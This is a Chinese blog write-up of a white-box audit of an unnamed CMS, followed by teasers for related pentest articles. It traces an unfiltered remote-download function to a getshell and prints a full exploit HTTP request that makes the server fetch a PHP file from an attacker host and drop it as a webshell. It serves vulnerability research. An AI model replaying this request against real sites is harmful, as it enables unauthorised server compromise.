记一次文件下载getshell白盒

VSole2023-01-14 11:01:47

前言

2023年了,敬业的人还在上班,首先祝大家新年快乐,期待新的一年有新的成长~

闲来无事,逛逛代码仓库,扫一扫,看到某CMS里面有这么一个方法,里面的内容很简单,可以说是目测存在getshell漏洞。但是实际上踩坑无数,弄了很久,因为分析的时候有意思,利用的也有点意思,所以分享出来。

代码分析

1、首先查看漏洞点,downpic方法获取了一个参数$url,未进行过滤,获取URL文件内容后进行文件写入。其中写入后的文件后缀即为传入的URL中的文件后缀。

2、搜索发现/admin/ajax.php存在4处位置调用了此方法

3、通过几次筛选,最后确定入口点为collection_all

第一个if判断,需要id搜索到有东西,经测试网站默认安装便有一条数据,所以id赋值为1即可

4、往下执行,发现这里远程加载的文件内容需要有$C_titlestart和$C_contentstart

构造文件内容第一行

5、再往下,进入下一个if判断,条件为sql语句执行结果小于等于0

构造文件内容第二行中的一串随机字符

6、下一个条件分支,需要文件内容中含有src=",直接复制了那行代码到文件中

7、后面循环无影响,到$picx的赋值,因最后拼接的路径为src="后的字符,故将index.php放到文件的最后面,然后调用了downpic方法

8、查看downpic方法。传入URL,生成以时间戳+随机字符的文件名,获取远程文件内容,写入文件。

漏洞利用

1、构造恶意请求,向外请求index.php

GET /admin/ajax.php?type=collection&action=all&id=1&lang=0&pageurl=http://10.211.55.2:21/index.php HTTP/1.1Host: 10.211.55.3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://10.211.55.3Connection: closeReferer: http://10.211.55.3/admin/Cookie: count_all=0; authx=; userx=; passx=; add=%E4%B8%AD%E5%9B%BD; user=admin; pass=e317896f881c24dd527ea70a654d0a00; A_type=1; auth=1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1; newsauth=all; productauth=all; textauth=all; formauth=all; bbsauth=all; PHPSESSID=ftd1rm1hffcfvdh2d3l9hkmln1; __vtins__JdquY3gNURaKiAFU=%7B%22sid%22%3A%20%222f9206ee-11da-59be-af05-5ce77d606c29%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201657185361904%2C%20%22ct%22%3A%201657183561904%7D; __51uvsct__JdquY3gNURaKiAFU=2; __51vcke__JdquY3gNURaKiAFU=8c5f5b50-675a-576d-a410-a4ba399a8cde; __51vuft__JdquY3gNURaKiAFU=1657173569846; LOGIN_LANG=cnContent-Length: 2

2、返回成功即可在media目录下看到文件已经成功上传,内容为index.php文件内容

攻击者则可以通过网站安全-文件管理功能查看具体文件名

3、访问该文件,获取webshell

总结

这个漏洞我好像分析了2个小时吧,主要是构造payload方面花了心思,一开始没想看很多代码,直接利用发现失败了,调试了几次终于可以利用,总的来说,利用条件苛刻,可利用性不高,聊胜于无。

题外话:最近新开了个知识星球,期待大家关注。本来是打算放项目上的干货的,但是最近迷上了反序列化和内存马,所以可能会有一段时间都是这类内容。当然干货也会不定时更新,主要分享实战方面的细节。。。

本作品采用《CC 协议》,转载必须注明作者和本文链接
但是实际上踩坑无数,弄了很久,因为分析的时候有意思,利用的也有点意思,所以分享出来。代码分析1、首先查看漏洞点,downpic方法获取了一个参数$url,未进行过滤,获取URL文件内容后进行文件写入。其中写入后的文件后缀即为传入的URL中的文件后缀。传入URL,生成以时间戳+随机字符的文件名,获取远程文件内容,写入文件。漏洞利用1、构造恶意请求,向外请求index.phpGET /admin/ajax.php?
闲来无事的时候打开一个站点,看似平平无常其实已经被做了蜘蛛劫持通过模拟蜘蛛可以看到这个站点已经被hack干沦陷了本来不想管的,好奇心的驱动下,开始复盘操作仔细看了很久,扫描爆破路径后台,什么的都没找到关键信息端口的话是就开了个BT面板的端口22端口,以及80端口有的时候就是这样,本来没注意到的地方,在去仔细看的时候就会有不一样的惊喜。
idea直接创建新建项目,自动导入xml文件,配置启动服务器导入sql文件mysql?这里需要注意一点儿,源码确实,无法打包war'包,解决不掉artifacts的问题配置端口启动tomgcat的时候会乱码,
首先是判断文件是否存在以及JSON解析是否正确;判断Key是否都存在;判断对应值是否为空;创建theme对象;判断设置路径是否已"default"开头。但是没有对themePath路径问题进行检测,便可构造目录穿越,这也是该漏洞造成的关键原因。在上传的主题包里的\dreamer\dreamer-cms\templates\default_v3\theme.json文件,将目录穿越的构造替换主题包路径,更改之后theme.json文件内容如下:{
一次某CMS代码审计
2022-11-07 09:52:41
无意中浏览到某小众OA官网且可以下载到源码,随机审计一波,最后成功Getshell,大佬勿喷
一次攻防演练
2021-11-16 13:02:15
第五天主要是以代码审计为主。f12查看源码发现端倪,注册相关的实现代码已经被注释掉了。尝试上传正常图片,均不能正常使用。提示都是文件大小不符合。此时陷入瓶颈期。此时搜索有关该CMS的历史漏洞,通过cnvd平台。尝试利用SQL注入漏洞,复现后均失败。并根据response判断哪些文件是未授权访问的。并发现了两处关于文件上传的函数。
起因:某天A把我留下,想让我检测一下某站点的安全程度(有授权的,领导的任务罢了)我想了没想就拒绝了
信息收集访问目标站点,找到其后台登录页面,对源码进行分析,确定是某cms对网站进行分析,在数据包中发现_rememberMe等字段,惊喜!虽然有了shiro但是不能骄傲,再去找找其他的洞,毕竟,洞这东西得靠自己找才行。接下来先利用目前已有的信息进行渗透 !式,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。于是乎找到源码,网上查找存储shiro框架key的地方。些危险命令360主动防御会?
0x01 苦逼的测试任务 某一天,我照常在学校的CTF群学长吹水,突然管事的学长在群里发了一张图,这个月轮到我们学校对省内的某旅游相关企业进行漏洞测试。上面的老师自然而然把这个任务分配给我们CTF战队,要求是找到漏洞,能Getshell的点证明能Getshell即可,不要深入利用。
期间用了差不多两个周末,期间断断续续,整篇没啥奇淫技巧,大佬略过。由于当时较晚,第一周测试到此结束,主要利用API接口的未授权任意文件下载,获得敏感信息,未获取到shell,但还是向朋友炫耀了成果。
VSole
网络安全专家